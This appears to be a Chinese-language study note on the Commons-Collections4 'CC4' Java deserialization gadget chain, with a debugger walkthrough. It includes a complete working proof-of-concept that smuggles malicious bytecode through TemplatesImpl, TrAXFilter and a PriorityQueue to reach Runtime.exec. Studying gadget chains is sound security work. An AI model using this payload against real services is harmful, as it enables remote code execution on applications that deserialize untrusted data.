CC4

前置知识

CC4和CC2的依赖都是commons-collections4,貌似和CC2也是很像的,也有人说CC4就是CC2和CC3的杂交

我是先学的CC2,这里贴一下Gadget对比一下

CC2

ObjectInputStream.readObject()
			PriorityQueue.readObject()
			PriorityQueue.heapify()
			PriorityQueue.siftDown()
			PriorityQueue.siftDownUsingComparator()
			
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()

CC3

TransformedMap->transformerChain的transform->
InstantiateTransformer的transform -> TrAXFilter的构造函数->

 -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

CC4

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                PriorityQueue.siftDownUsingComparator()
                    TransformingComparator.compare()
                        ChainedTransformer.transform()   //这里是和CC2的不同了
                            ConstantTransformer.transform()   //ConstantTransformer承接一下
                            InstantiateTransformer.transform()    //下面就和CC3的后半段一样的了
                            newInstance()
                                TrAXFilter#TrAXFilter()
                                TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses.newInstance()
                                            Runtime.exec()

从PQ(PriorityQueue)调到 TransformingComparator.compare()调用某个类的transform是十分丝滑的,这里也不说了,重点看看后面是怎么承接的

CC2里面是直接去调InvokerTransformer,这里可能是考虑被过滤的原因吧,不走这条道了,还是往tempslate执行字节码那里引

ConstantTransformer.transform() 老朋友了,感觉都挺熟悉的

写POC

首先还是原来的这俩函数

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    protected static byte[] getBytescode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(com.test.CC2.Evil.class.getName());
        return clazz.toBytecode();
    }

然后构造一个恶意的tempslate

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

tempslate是ChainedTransformer里面的东西触发的,还是搞一个真的一个假的

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[] { Templates.class },new Object[] { obj })
        };

套在chainedtransform里

ChainedTransformer chain = new ChainedTransformer(fakeTransformers);

往PQ里塞进去TransformingComparator(后面会调用它的transform),再往里塞俩元素,然后再反射把那个fake的给换掉

PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(obj);
queue.add(obj);

setFieldValue(chain, "iTransformers", transformers);

POC

package com.test.CC4;

import java.util.PriorityQueue;
import javax.xml.transform.Templates;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;


public class main {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    protected static byte[] getBytescode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(com.test.CC2.Evil.class.getName());
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception {

        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[] { Templates.class },new Object[] { obj })
        };

        ChainedTransformer chain = new ChainedTransformer(fakeTransformers);


        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
        queue.add(obj);
        queue.add(obj);

        setFieldValue(chain, "iTransformers", transformers);
        
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

动态调试

进入PQ的readobject

image-20240911150406422

下面这几步都没啥好说的:

heapify

image-20240911150645730

siftDown

image-20240911150658744

siftDownUsingComparator

image-20240911150735222

comparator.compare这里进入TransformingComparator.class了,开始去调用transformer

这里调用的是chaintransform的方法

image-20240911150811051

首先是ConstantTransformer返回一个TrAXFilter对象,然后调用InstantiateTransformer的transform,TrAXFilter对象作为参数传入

image-20240911151119969

调用TrAXFilter对象的构造方法,this.iParamTypes即tempslate对象作为参数传入

对应我们poc里的这句new InstantiateTransformer(new Class[] { Templates.class },new Object[] { obj })

这里其实就是CC3的屁股了,已经分析过了

0%